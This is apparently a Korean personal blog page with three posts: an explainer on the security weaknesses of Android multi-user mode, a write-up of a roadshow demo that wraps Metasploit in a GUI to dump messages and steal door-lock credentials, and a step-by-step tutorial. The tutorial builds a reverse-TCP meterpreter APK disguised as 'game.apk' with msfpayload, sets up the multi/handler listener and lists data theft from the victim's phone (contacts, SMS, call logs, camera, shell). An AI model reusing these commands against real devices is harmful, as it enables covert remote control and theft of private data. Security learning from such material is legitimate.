android multi-user란?

- 하나의 단말에서 복수의 사용자 모드를 지원

- 안드로이드 4.2Jelly Bean에서 시작(태블릿에 제한)

- 안드로이드 5.0 Lollipop에서 휴대폰 지원 시작

제조사의 지원 여부에 따라 사용 제한

- 삼성의 경우 S6, S6 edge 단말에서 안드로이드 5.1 이상부터 적용 예정('15.6 ~ '15.7)

3가지 모드 지원

1. Guest mode

- 정보 및 데이터는 세션이 유지되는 동안 일시적으로 저장됨

- LG G플렉스, 및 G2, G3 모델의 4.x 버전에서 이미 Guest 모드 지원

(G4의 경우 통신사에 따라 지원 여부 달라짐)

2. Profile mode

- APP 과 Service 접근 제한 가능

- 아이들에게 핸드폰을 빌려줄 때 과금 위험 서비스나, 숨기고 싶은 app에 제한을 둠으로 보호 가능

3. User mode

- 모든 app과 서비스 제공

- 새로운 google id를 추가함으로 main user와 별개로 서비스 가능

(예를 들어 pc에 usb를 연결할 경우, 해당 로그인 된 정보만 출력 가능)


multi-user 특징

1. The Owner라 불리는 main user는 새로운 user를 만들고 수정하고, 지울 수 있다.


(create, edit, remove)

The Owner ------------->  user1, user2, user3


2. User를 생성할 때 unrestricted, restricted를 설정할 수 있다

(restricted user의 경우 허용된 app에만 접근 가능)

3. User들 간의 데이터는 분리되어 서로의 데이터를 보지 못한다.

4. OS의 setting은 분리 될 수 있고 공유 할 수도 있다.

5. 하나의 User만 화면에 활성화 할 수 있지만 3개의 다른 user까지 동시에 background로 프로세스 실행 가능

(예를 들어 email과 같은 경우 background로 계속 실행하게끔 할 수 있음)


생성 원리

- OS 레벨에서 다음과 같이 변경사항이 구현됨

- Sandboxing에 이용되는 appId와 사용자 id가 생성되는 데 이를 각각 appId, userId라고 부른다.

- userID

        • 00: Device Owner
        • -10000: null user
        • <nn>: secondary userID로 만약 main user 이외 User1이 생성된다면 userId는 10을 갖게 되고 User2는 11로 생성
        • User의 list는 /data/system/users/userlist.xml에 저장됨
- appId와 userId를 연결하여 sandbox를 허용할 수 있는 UnixUID를 얻을 수 있으며, 이를 통해 메모리, 프로세스, 저장공간을 분리할 수 있다.
예를 들어 Owner와 User1이 있다고 가정했을 때, 같은 앱을 실행한다고 가정한다. appID는 12345일 때 Owner process UID의 경우 0012345가 되고 User1의 경우 1012345를 갖게 된다. 그러므로 app은 독립적인 메모리와 process를 갖게 된다.

- 각각의 설치된 app의 정보는 /data/user/userID/packageName에 저장이 되지만 apk는 여전히 /data/app에 유지



보안 관점에서 봤을 때의 multi-user mode

1. Secondary user의 앱과 설정 우회 가능
- Owner는 새롭게 추가되는 User의 app접근이나 OS setting을 제한할 수 있지만 이것에 대한 추가적인 안정장치 없음
        • app의 경우 XML file에 app list를 추가함으로 app을 숨기는 데 수정할 경우 숨김 app을 볼 수 있음
        • 제한 설정 같은 경우 Setting app 자체적으로 메뉴항목을 숨김. 그러나 VPN setting이나 mobile data setting, backup 등의 setting 숨김을 우회하는 방법이 있음. 이를 막을 수 있는 통합 프레임워크 메커니즘이 없음
        • Wi-Fi의 문제가 있는데 User1이 악의적인 AP를 통해 모든 데이터를 가로챌 수 있도록 구성 가능
2. Background tasks 활용
- User1의 app을 background로 실행시켜놓고 Owner가 단말을 사용할 때 알아차리기 힘듦
악의적으로 User1이 background에서 악성 app을 실행시켰을 때 Owner 사용자는 위치 정보, key logging 등의 공격을 받을 수 있음
(휴대폰을 종료하기 전까지 프로세스는 계속 돌 수 있으며 immortal 악성 app 또한 가능함)

3. 공유된 app code 활용
- 위의 생성원리에서 app code는 공유된다고 하였는데 이를 통해 악의적 행동 가능
Owner의 설정에서 알 수 없는 출처의 앱 다운로드 금지를 하였더라도 User1에서는 기능 해제 후, 다운로드 했을 때 app code는 공유 됨 -> 기본적으로 android는 sandbox에 설치된 동일한 개발자에 대해 permission을 공유함


반응형

'프로그래밍 > Android' 카테고리의 다른 글

갤럭시 s3(shv-e210k) 4.4.4 루팅  (3) 2015.09.01

내용은 이전 kali 를 이용한 안드로이드 해킹과 같다.

다만 swt를 활용하여 UI를 입혀보았다.

또한 msfconsole창에서 사용한 것이 아닌 이클립스 swt 창으로 실행되는 것을 구현해보았다.


회사 로드쇼에서 사용한 것이기 때문에 소스코드는 공개하지 못한다는 점 양해 구합니다..

(이런것도 가능하구나! 라고 생각하시면 좋을 것 같습니다)


시연 목적

- 해커가 도어락을 제어하는 것과 단말을 원격으로 제어한다는 컨셉


시연 환경

- vmware11

- 이클립스 kepler버전(최신버전인 luna의 경우 SWT design을 지원하지 않아 그 전 버전 kepler 사용)

- 안드로이드 4.3 갤럭시 s3(루팅 단말, 악성코드 앱 설치, 악성코드 앱이 죽지 않도록 임모탈 앱 설치)


용어 설명

1. metasploit: 오픈소스 도구로 공격코드, payload encoder, 보안 테스트 등을 제공하는 도구

2. msfconsole: metasploit framework 내에서 이용할 수 있는 설정과 옵션 제공

3. payload: framework에 의해 선택되고 전송되어 실행되길 원하는 시스템의 코드

4. exploit: 컴퓨터, 단말 버그, 보안 취약점 등 설계상 결함을 이용해 공격자의 의도된 동작을 수행하도록 만들어진 절차나 일련의 명령

5. resource: 실행파일을 로드하여 msfconsole에서 사용할 수 있도록 함

6. meterpreter: 실제로 희생자의 단말에 붙을 때 실행할 수 있는 명령어를 입력할 수 있는 콘솔


순서

1. 이클립스(Run)

2. service postgresql start (자동 구현) -db 작동

3. msfconsole 실행 (자동 구현)

- 스크립트 실행

- use multi/handler

- set PAYLOAD android/meterpreter/reverse_tcp   //시스템 코드 중 안드로이드 리버스 tcp코드 실행

- set LHOST xxx.xxx.x.xx     //kali linux ip설정

- set LPORT xxxx            //kali linux port 설정

4. resource 한번 더 실행 (자동 구현)

- 스크립트 실행

- set AutoRunScript<스크립트 파일 명>   핵심

 //meterpreter에 접속이 될 때 루비언어로 바로 실행 모드로 전환할 수 있도록 설정

 //실제로 구현해보면 알 수 있지만 meterpreter 창 실행은이클립스에서 제어가 안됨

 //즉 스크립트를 통해 meterpreter > 모드로 진입할 수 있도록 스크립트 구현함

- exploit


위의 내용까지의 이클립스 콘솔 화면



starting PostgreSQL 9.1 database server: main        //service postgresql start

msf > resource <file명>                            //resource 실행


kali에서 내용 복사가 안되어 전에 작성한 파일 캡처로 대체하겠습니다...



------------위 설명까지는 이클립스에서 run을 실행했을 때 자동으로 실행이 됨(이클립스 콘솔 확인 가능)



swt를 활용하여 구성한 UI(허접합니다..)


GUI 화면

1. button1: System Information        //sysinfo 명령어 사용(단말 확인 가능)

2. button2: check Rooting            //단말 루팅 확인 가능

3. button3: Message Dump 및 Dump파일 open

4. button4: TcpDump 및 open       

5. DoorLockOpen


Tcpdump의 경우 루팅 된 단말에서는 가능하기 때문에 시연에서 사용

예)

메시지 덤프 후 덤프 파일 OPEN(개발용 단말이기 때문에 개인적 메시지가 없음..)


Tcpdump 뜬 화면


앱에서 도어락을 열 때 id/pw 탈취



현재 도어락과 연결되어 있지 않아 DoorLockOPEN 버튼이 활성화 되지 않지만

구현 때에는 open되고 창에는 SUCCESS 메시지 출력



뭐 그렇게 대단한 내용은 아니지만

msfconsole을 별도의 GUI를 만들어서 해킹 시나리오를 만들어봤다는데에 의의를 두는 프로젝트였습니다.

또한 swt도 처음이고 칼리 안드로이드 해킹도 처음이어서 많이 배울 수 있는 기회였습니다.


반응형

1. kali linux 실행


#msfconsole


2. msfpayload(reverse tcp)


#msfpayload android/meterpreter/reverse_tcp LHOST=192.168.102.128 LPORT=4444 R > game.apk

(msfpayload android/meterpreter/reverse_tcp LHOST=your ip LPORT=anything port R > xxx.apk)



위의 명령을 입력하면 game.apk라는 앱이 생성된다. 이를 희생자 apk에 설치한다.

LHOST는 자신의 IP를 입력하여야 한다. 그러면 희생자는 LHOST 및 해당 포트에 연결된다.


해당 앱을 분석해보면





를 확인해 볼 수 있다.


msf>use multi/handler  

msf>set PAYLOAD android/meterpreter/reverse_tcp

msf>set LHOST 192.168.102.128

msf>set LPORT 4444

     


msf> show options


잘 된 것을 확인할 수 있다.


msf>exploit




희생자 안드로이드를 기다리게 된다...


안드로이드가 붙으면 세션이 open된다.


meterpreter > sysinfo        //안드로이드 시스템정보 확인


그밖에 루팅된 단말인지 확인

전화번호부 탈취, 메시지 탈취, 통화기록 탈취

카메라 제어(동영상 촬영도 됨.....)

안드로이드 shell 사용


등등 기능 많음


시간 관계상 각각의 기능은 추후 업데이트 예정


반응형

+ Recent posts